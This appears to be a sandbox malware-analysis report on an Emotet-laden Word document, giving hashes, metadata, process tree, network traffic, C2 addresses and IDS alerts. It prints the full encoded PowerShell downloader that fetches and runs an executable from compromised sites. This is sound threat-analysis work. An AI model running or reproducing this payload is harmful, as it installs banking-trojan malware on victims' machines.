File name: | 7PRZREIMD2.doc |
Full analysis: | https://app.any.run/tasks/fb6cabbc-61d8-4503-a9b3-47773f61e6de |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | October 20, 2020, 12:52:18 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: panel Sleek Rwanda Franc Data Health Rustic Rubber Gloves Personal Loan Account Personal Loan Account Buckinghamshire Incredible, Author: Brycen Monahan, Comments: Cambridgeshire, Template: Normal.dotm, Last Saved By: Colt Kozey, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Oct 1 07:26:00 2019, Last Saved Time/Date: Tue Oct 1 07:26:00 2019, Number of Pages: 1, Number of Words: 14, Number of Characters: 84, Security: 0 |
MD5: | 7AEECB16760060E875D67679B8542E91 |
SHA1: | C07ADCD95A55EDBFB311C4852EEB503AF5308142 |
SHA256: | A6058A52E97AF683487C26E55086F4DFB2F3032506D6B87F9C06CBBD6BA56F87 |
SSDEEP: | 3072:XtkJHdqegwyWv1CYePKBcRqJBAc7zwV1K4m:XtkJn7YpKaqJucX |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
Manager: | Gerhold |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 97 |
Paragraphs: | 1 |
Lines: | 1 |
Company: | Marvin and Sons |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
Characters: | 84 |
Words: | 14 |
Pages: | 1 |
ModifyDate: | 2019:10:01 06:26:00 |
CreateDate: | 2019:10:01 06:26:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | Colt Kozey |
Template: | Normal.dotm |
Comments: | Cambridgeshire |
Keywords: | - |
Author: | Brycen Monahan |
Subject: | - |
Title: | panel Sleek Rwanda Franc Data Health Rustic Rubber Gloves Personal Loan Account Personal Loan Account Buckinghamshire Incredible |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2604 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\7PRZREIMD2.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
544 | powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJAB1AHAAMgA0ADMANgA1AHUAbwBsAD0AJwBBAHUAdABvAG0AYQB0AGUAZABuAGsAbQAnADsAJABCAHUAYwBrAGkAbgBnAGgAYQBtAHMAaABpAHIAZQBqAGMAdwAgAD0AIAAnADkANgA1ACcAOwAkAEcAbwByAGcAZQBvAHUAcwBfAFIAdQBiAGIAZQByAF8ASABhAHQAZABpAHQAPQAnAEcAZQBuAGUAcgBpAGMAXwBSAHUAYgBiAGUAcgBfAFMAYQB1AHMAYQBnAGUAcwBpAHEAbgAnADsAJABBAEkAegBuAG4APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEIAdQBjAGsAaQBuAGcAaABhAG0AcwBoAGkAcgBlAGoAYwB3ACsAJwAuAGUAeABlACcAOwAkAG8AcgBjAGgAaQBkAGYAagB0AD0AJwBvAHIAYwBoAGkAZABqAGwAegAnADsAJABHAGUAbgBlAHIAaQBjAF8ARgByAGUAcwBoAF8AUABpAHoAegBhAGEAdwBmAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBCAEMAbABJAEUAbgBUADsAJABCAGEAYgB5AF8AQwBvAG0AcAB1AHQAZQByAHMAXwBfAEgAZQBhAGwAdABoAHMAZgBjAD0AJwBoAHQAdABwADoALwAvAHcAdwB3AC4AZQB2AG8AbAB1AHQAaQBvAG4AcwB0AGEAZgBmAGkAbgBnAGwAbABwAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbwBuAEsARwBvAHQAUABuAC8AQABoAHQAdABwAHMAOgAvAC8AZQBzAGMAcwAtAHMAYQByAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEAZwBMAFQARwBBAGUAdQBrAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AZAB6AGkAbgBlAHMAdAB1AGQAaQBvADgANwAuAGMAbwAuAHUAawAvAHAAaABwAE0AeQBBAGQAbQBpAG4ALwBuAGcANwB6AF8AMgA3AG0AYwBqAC0ANgAvAEAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AcABvAGsAZQByAGMAbABhAHMAcwBpAGYAaQBlAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AbQBsAGMAeQByAGsAZQBlADYAXwAzAGkANAA4AHMAdQAtADIANQAwADAALwBAAGgAdAB0AHAAOgAvAC8AagBvAG4AZQByAHAAcgBvAGQAdQBjAG8AZQBzAC4AYwBvAG0ALgBiAHIALwBiADIAYgBrAG4AdgAvAGEAdQByAHkAVQBUAHgAbQBjAGgALwAnAC4AIgBzAGAAcABMAGkAdAAiACgAJwBAACcAKQA7ACQAZgBhAGMAaQBsAGkAdABhAHQAZQBmAG4AYwA9ACcAdwBpAHQAaABkAHIAYQB3AGEAbABqAHAAdgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBlAGYAaQBuAGUAZABfAFIAdQBiAGIAZQByAF8ASABhAHQAdgBsAG0AIABpAG4AIAAkAEIAYQBiAHkAXwBDAG8AbQBwAHUAdABlAHIAcwBfAF8ASABlAGEAbAB0AGgAcwBmAGMAKQB7AHQAcgB5AHsAJABHAGUAbgBlAHIAaQBjAF8ARgByAGUAcwBoAF8AUABpAHoAegBhAGEAdwBmAC4AIgBEAG8AdwBuAEwATwBgAEEAYABkAGYASQBgAEwAZQAiACgAJABSAGUAZgBpAG4AZQBkAF8AUgB1AGIAYgBlAHIAXwBIAGEAdAB2AGwAbQAsACAAJABBAEkAegBuAG4AKQA7ACQAaQBuAGQAZQB4AHoAbgBrAD0AJwBQAHIAYQBjAHQAaQBjAGEAbABfAEcAcgBhAG4AaQB0AGUAXwBDAG8AbQBwAHUAdABlAHIAYQBpAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABBAEkAegBuAG4AKQAuACIAbABFAE4AYABHAHQAaAAiACAALQBnAGUAIAAyADMANwA3ADAAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGAAQQBSAHQAIgAoACQAQQBJAHoAbgBuACkAOwAkAE0AYQBsAGEAdwBpAGoAdwBpAD0AJwBDAFMAUwByAGQAbgAnADsAYgByAGUAYQBrADsAJAB0AHUAcgBxAHUAbwBpAHMAZQBvAHcAYwA9ACcARABpAHIAZQBjAHQAaQB2AGUAcwBiAGoAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABBAHAAcABsAGkAYwBhAHQAaQBvAG4AcwB2AHEAcQA9ACcAUwBvAGYAdAB2AGoAegAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3488 | "C:\Users\admin\965.exe" | C:\Users\admin\965.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: ODBC Cursor Library Exit code: 0 Version: 6.1.7601.17632 (win7sp1_gdr.110614-1930) | ||||
2300 | --99474b6 | C:\Users\admin\965.exe | 965.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: ODBC Cursor Library Exit code: 0 Version: 6.1.7601.17632 (win7sp1_gdr.110614-1930) | ||||
2336 | "C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe" | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | — | 965.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: ODBC Cursor Library Exit code: 0 Version: 6.1.7601.17632 (win7sp1_gdr.110614-1930) | ||||
4016 | --f91b2738 | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | msptermsizes.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: ODBC Cursor Library Version: 6.1.7601.17632 (win7sp1_gdr.110614-1930) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2604 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR420F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
544 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2FA0LW85M3KBCGS8A0RW.temp | — | |
MD5:— | SHA256:— | |||
2604 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F9216F7C.wmf | wmf | |
MD5:2380F617512106DE95E94379BAE7F622 | SHA256:300688A9968B228C26ABF90D8329CAFDA466BF0E2DEF011FC060C36401F3FB55 | |||
2604 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\25C8EEA.wmf | wmf | |
MD5:3D0BD793289B5D7C59A74A7EBCCC1EC2 | SHA256:E55A128EDB0B5B90A973E8CBD390C14AD3F87EFD52C99BE29D0DCAA997132372 | |||
2604 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DC3A114D.wmf | wmf | |
MD5:CC8523BD06B82A949115FB24DC719564 | SHA256:7413F7A9CD2BA667974B335EC8E64F31F6CDF2403DC1697BC14C6BC0AC9C10CF | |||
2604 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\7PRZREIMD2.doc.LNK | lnk | |
MD5:044B9A78B303A9963DE1D87D24DBD955 | SHA256:EF9CF413C057AADDD3174028D9DB0C16ABA3FA84B8E9C504B28557888B3ACAC3 | |||
2604 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:938D102A936CE4FFCE7C0D2A92A6F1D2 | SHA256:F27D768BA6B0E6FFB7B9BD45AD511B2A996BFCA6BC39DB89F08F952437B8BADE | |||
2604 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F47E7DE3.wmf | wmf | |
MD5:16C16D0814BF2C5DBB218A9D09653E8F | SHA256:780F25CF05AFBC9D38E1D1530D24746D5F5633984BB487A2C5CE0A7BDC791C49 | |||
2604 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CAAD11A7.wmf | wmf | |
MD5:E7D27551E36CFC20B487D39702E5686E | SHA256:B14FB41CCFE8024CE32C52C37D2C0FFC73BA12FBF0B20A727971D15AFCCE118C | |||
2604 | WINWORD.EXE | C:\Users\admin\Desktop\~$RZREIMD2.doc | pgc | |
MD5:EE69D5B659AA427AB6A812BF567FC077 | SHA256:7D2CA558022503903234DA52E698DD233E2E95BD908D661C1E3EB5ED2BC191B5 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
4016 | msptermsizes.exe | POST | — | 80.79.23.144:443 | http://80.79.23.144:443/tpt/schema/stubs/merge/ | CZ | — | — | malicious |
544 | powershell.exe | GET | 200 | 149.255.62.119:80 | http://www.dzinestudio87.co.uk/phpMyAdmin/ng7z_27mcj-6/ | GB | executable | 191 Kb | suspicious |
544 | powershell.exe | GET | 500 | 107.178.98.90:80 | http://www.evolutionstaffingllp.com/cgi-bin/onKGotPn/ | US | html | 2.73 Kb | suspicious |
4016 | msptermsizes.exe | POST | — | 192.254.173.31:8080 | http://192.254.173.31:8080/nsip/ | US | — | — | malicious |
4016 | msptermsizes.exe | POST | — | 67.225.229.55:8080 | http://67.225.229.55:8080/dma/site/stubs/ | US | — | — | malicious |
4016 | msptermsizes.exe | POST | — | 95.128.43.213:8080 | http://95.128.43.213:8080/loadan/tlb/stubs/merge/ | FR | — | — | malicious |
4016 | msptermsizes.exe | POST | — | 104.236.246.93:8080 | http://104.236.246.93:8080/rtm/ | US | — | — | malicious |
4016 | msptermsizes.exe | POST | — | 178.79.161.166:443 | http://178.79.161.166:443/devices/between/img/merge/ | GB | — | — | malicious |
4016 | msptermsizes.exe | POST | — | 182.76.6.2:8080 | http://182.76.6.2:8080/iab/sym/stubs/ | IN | — | — | malicious |
4016 | msptermsizes.exe | POST | — | 185.94.252.13:443 | http://185.94.252.13:443/cookies/ | DE | — | — | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
544 | powershell.exe | 107.178.98.90:80 | www.evolutionstaffingllp.com | Input Output Flood LLC | US | unknown |
544 | powershell.exe | 149.255.62.119:80 | www.dzinestudio87.co.uk | Awareness Software Limited | GB | suspicious |
4016 | msptermsizes.exe | 80.79.23.144:443 | — | Master Internet s.r.o. | CZ | malicious |
4016 | msptermsizes.exe | 192.254.173.31:8080 | — | Unified Layer | US | malicious |
4016 | msptermsizes.exe | 67.225.229.55:8080 | — | Liquid Web, L.L.C | US | malicious |
4016 | msptermsizes.exe | 5.196.74.210:8080 | — | OVH SAS | FR | malicious |
4016 | msptermsizes.exe | 182.76.6.2:8080 | — | BHARTI Airtel Ltd. | IN | malicious |
4016 | msptermsizes.exe | 95.128.43.213:8080 | — | Aqua Ray SAS | FR | malicious |
4016 | msptermsizes.exe | 173.212.203.26:8080 | — | Contabo GmbH | DE | malicious |
4016 | msptermsizes.exe | 185.94.252.13:443 | — | Andreas Fahl trading as Megaservers.de | DE | malicious |
Domain | IP | Reputation |
---|---|---|
www.evolutionstaffingllp.com |
| suspicious |
escs-sarl.com |
| malicious |
www.dzinestudio87.co.uk |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
544 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
544 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
544 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
4016 | msptermsizes.exe | A Network Trojan was detected | AV TROJAN W32/Emotet CnC Checkin M2 |
4016 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4016 | msptermsizes.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
4016 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4016 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4016 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4016 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |